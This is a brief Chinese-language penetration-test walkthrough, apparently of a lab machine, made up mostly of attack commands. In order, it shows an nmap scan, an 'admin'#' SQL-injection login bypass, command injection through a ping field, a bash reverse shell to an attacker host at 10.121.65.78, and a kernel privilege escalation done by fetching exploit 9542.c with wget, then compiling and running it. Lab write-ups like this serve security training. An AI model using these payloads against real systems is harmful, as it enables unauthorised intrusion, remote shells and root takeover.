0x01信息收集
nmap -sV -O 10.121.65.83

0x02 万能密码&&命令执行
访问80端口(经测试 443端口并没有办法访问)

登录框尝试弱口令和sql注入 发现存在万能密码
admin'#

存在一个ping命令,尝试通过管道符看是否会执行命令
127.0.0.0|id

存在命令执行漏洞,那么反弹一个shell即可
127.0.0.1|bash -i >& /dev/tcp/10.121.65.78/4444 0>&1

0x03 权限提升
通过suid尝试提权
find / -perm -u=s -type f 2>/dev/null 查找有权限的文件
发现并没有可以利用的地方

接着查看操作系统版本号
查看linux系统版本信息命令:lsb_release -a
查看内核版本 uname -a

发现是CenOS 4.5 内核为 linux 2.6.9

攻击机上开启web服务
python2 -m SimpleHTTPServer 80

然后在靶机上通过wget下载9542.c,在靶机上进行编译(因为这个脚本只支持x86,在64上无法编译。)
cd /tmp
wget 10.121.65.78/9542.c

这里要到tmp目录下才能下载,否则其他目录都没办法写入
gcc 9542.c -o 9542
./9542




















